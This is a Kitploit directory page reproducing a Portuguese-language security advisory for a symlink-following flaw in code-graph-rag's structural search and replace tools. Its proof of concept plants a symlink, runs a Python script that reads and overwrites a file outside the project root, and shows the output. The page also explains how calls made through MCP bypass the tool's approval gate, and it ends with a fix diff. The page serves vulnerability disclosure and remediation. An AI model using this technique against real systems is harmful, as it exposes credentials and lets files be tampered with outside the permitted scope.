Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
code-graph-rag-PoC — PoC — seguir link simbólico para leitura/escrita arbitrária de ficheiros fora da raiz do projeto em code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
Ferramentas/GitHubGitHub/squeeze440/code-graph-rag-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — seguir link simbólico para leitura/escrita arbitrária de ficheiros fora da raiz do projeto em code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

Ver Repositório
há 7 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

code-graph-rag: aviso de segurança

Status da CVE: solicitada, aguardando atribuição. Esta descoberta é publicada como GHSA-85gg-2gfq-q95m. Após a atribuição da CVE, este repositório é renomeado CVE-YYYY-NNNNN-code-graph-rag-PoC e este banner é substituído pelo link da CVE.

PesquisadorDostxodjayev Abdullox (@squeeze440)
AvisoGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (Alto)
FraquezaCWE-59, CWE-22

Resumo

Um atacante remoto/local que consiga incluir um link simbólico em um repositório de código-fonte que o code-graph-rag analisa pode fazer com que as ferramentas structural_search e structural_replace (suportadas pelo AstGrepService, expostas tanto como ferramentas MCP quanto como ferramentas de IA agêntica) leiam e — via structural_replace com dry_run=False — sobrescrevam arquivos arbitrários fora da raiz do projeto configurada, porque a verificação de contenção de caminho da ferramenta (should_skip_path/_classify_file) é realizada lexicalmente sobre o caminho não resolvido e nunca verifica Path.is_symlink() nem chama .resolve(), ao contrário do próprio decorador (correto) validate_project_path do projeto, usado em outros lugares.

Produto

vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)

Versão Testada

Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (versão do pyproject 0.0.550) — main atual no momento do teste. Confirmado que este commit já contém a correção para o aviso anterior (GHSA-vvr2-h2jp-838m: path traversal no read_file paginado) e o gate mais recente de autenticação bearer do HTTP-MCP (_validate_http_exposure em codebase_rag/mcp/server.py), portanto este é um problema distinto e ainda em aberto sobre essas correções.

CVSS v3.1 Estimado

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Alto)

Métricas não óbvias:

  • AV:L — a falha é explorável puramente através do uso central local/CLI/stdio-MCP da ferramenta (analisando um repositório contendo um link simbólico plantado); não depende do transporte HTTP MCP opcional, agora protegido por bearer token, portanto o vetor base é pontuado na superfície local sempre presente, em vez de assumir uma implantação remota.
  • UI:R — o atacante fornece o repositório malicioso (o link simbólico), mas uma parte separada (um usuário, ou um agente de IA agindo em seu nome) deve realmente executar structural_search/structural_replace contra esse projeto para que a leitura/escrita seja acionada.
  • A:N — a sobrescrita arbitrária do conteúdo de um arquivo foi demonstrada; nenhuma cadeia de crash/DoS do sistema foi demonstrada, portanto a Disponibilidade é pontuada conservadoramente como Nenhuma em vez de assumida.

Detalhes

O AstGrepService (codebase_rag/tools/ast_grep_service.py) suporta tanto as ferramentas MCP/agênticas structural_search quanto structural_replace. Ele enumera arquivos candidatos com os.walk() e filtra cada caminho apenas através de should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — percorre self.project_root com os.walk(); cada dirent que não é diretório retornado por os.walk (incluindo um link simbólico apontando para qualquer lugar do disco) é tratado como um arquivo dentro do escopo.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — a única verificação de contenção é should_skip_path(...) seguida de abs_path.relative_to(self.project_root) (linha 82); abs_path nunca é resolvido, portanto esta verificação é puramente lexical/baseada em string.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) e codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcula rel_path = file_path.relative_to(repo_path) sem nunca chamar .resolve() ou Path.is_symlink(). Nada nesta função trata um link simbólico de forma diferente de um arquivo real.
  • Sink de leitura: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) chama path.read_text(), que o Python segue através do link simbólico até seu alvo real, não importa onde esse alvo esteja.
  • Sink de escrita: codebase_rag/tools/ast_grep_service.py:187-208 (replace), especificamente a linha 208 — abs_path.write_text(new_source, ...) quando dry_run=False, novamente seguindo o link simbólico e sobrescrevendo o conteúdo do arquivo alvo real.

Isso é inconsistente com a forma como o restante da base de código lida com exatamente a mesma classe de risco. As ferramentas de leitura/escrita/edição de arquivos (file_reader.py, file_writer.py, file_editor.py) são todas protegidas por validate_project_path (codebase_rag/decorators.py:73-75):

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() segue links simbólicos antes que a verificação de contenção seja executada, portanto essas ferramentas rejeitam corretamente um alvo fora da raiz. O próprio absolute_path_within_project_root() do path_utils.py (codebase_rag/utils/path_utils.py:156-176) documenta o mesmo princípio explicitamente em sua docstring: "As chamadas resolve() são essenciais: a contenção é verificada lexicalmente, portanto um segmento .. não resolvido ou um link simbólico escaparia da raiz." — mas should_skip_path()/AstGrepService, usados por structural_search/structural_replace, nunca aplicam esse padrão.

Alcance / exposição das duas ferramentas:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) não possui nenhuma flag requires_approval — o modelo de um cliente MCP pode chamá-la autonomamente sem confirmação humana.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) está marcada com requires_approval=True, mas essa flag só é aplicada pelo próprio loop de agente do pydantic-ai. O caminho do servidor MCP a ignora completamente: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) chama self._structural_editor_tool.function(...) diretamente, e a ferramenta MCP é registrada sem nenhum conceito de aprovação em codebase_rag/mcp/tools.py:369-388 (ToolMetadata para MCPToolName.STRUCTURAL_REPLACE) — qualquer cliente MCP que possa chamar ferramentas pode invocar structural_replace com dry_run=False em um único disparo.

Prova de Conceito

Confirmado dinamicamente contra o pacote instalado (mgclient/pymgclient mockados exatamente como no PoC do aviso anterior, já que o cliente nativo do Memgraph não é necessário para este caminho de código).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Saída real da execução (/tmp/poc_venv, pacote instalado via pip install --no-deps -e . a partir do commit testado):

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Sem capturas de tela — esta é uma descoberta puramente em nível de biblioteca/CLI, sem componente de navegador/GUI.

Impacto

Qualquer operador que aponte o cgr (CLI, modo agêntico ask_agent, ou ferramentas MCP structural_search/structural_replace) para um repositório que ele não auditou completamente — exatamente o caso de uso para o qual esta ferramenta foi criada ("consultar, entender e editar bases de código multilíngues") — pode ter o link simbólico plantado nesse repositório usado para:

  • Divulgar o conteúdo de qualquer arquivo legível pelo processo cgr (credenciais, chaves SSH, arquivos .env, código-fonte de projetos irmãos), via structural_search, sem nenhum gate de aprovação.
  • Sobrescrever o conteúdo de qualquer arquivo gravável pelo processo cgr, via structural_replace(dry_run=False), contornando o próprio gate de aprovação da ferramenta quando chamada através do protocolo MCP.

Esta é a mesma classe de bug "conteúdo malicioso na base de código analisada escapa do project_root" do GHSA-vvr2-h2jp-838m, mas com uma causa raiz distinta (falta de resolução de link simbólico em AstGrepService/should_skip_path, CWE-59) e um sink distinto e mais severo (escrita arbitrária, não apenas leitura) em um componente diferente (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, não o read_file paginado de codebase_rag/mcp/tools.py). Não se sobrepõe aos intervalos de linhas vulneráveis nem à correção do aviso anterior.

Fraquezas

  • CWE-59: Resolução Imprópria de Link Antes do Acesso ao Arquivo ('Link Following') — causa raiz primária.
  • CWE-22: Limitação Imprópria de um Nome de Caminho a um Diretório Restrito ('Path Traversal') — o escape resultante da raiz do projeto.

Remediação

Aplique o mesmo padrão de resolver-e-conter já usado por validate_project_path (codebase_rag/decorators.py:73-75) e absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) ao should_skip_path. Rejeite qualquer caminho cuja localização resolvida (após seguir links simbólicos) escape da raiz do projeto resolvida, em vez de verificar apenas a string do caminho não resolvido:

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Concretamente: esta única alteração em should_skip_path corrige tanto _classify_file (search) quanto a filtragem do os.walk em _iter_source_files (replace), já que ambos passam por ela. Como defesa em profundidade, _iter_source_files poderia adicionalmente ignorar dirents que são links simbólicos diretamente (entry.is_symlink()) durante o os.walk, já que uma ferramenta de análise de código orientada por IA nunca deveria precisar percorrer fora da raiz indexada em primeiro lugar.

Crédito

Dostxodjayev Abdullox (GitHub: squeeze440)

Canal de Relato

O Relato Privado de Vulnerabilidades (PVR) está confirmadamente habilitado em vitali87/code-graph-rag; este relatório destina-se à submissão através desse canal (GitHub Security Advisories), consistente com o aviso já publicado do repositório (GHSA-vvr2-h2jp-838m).

Baixar ferramenta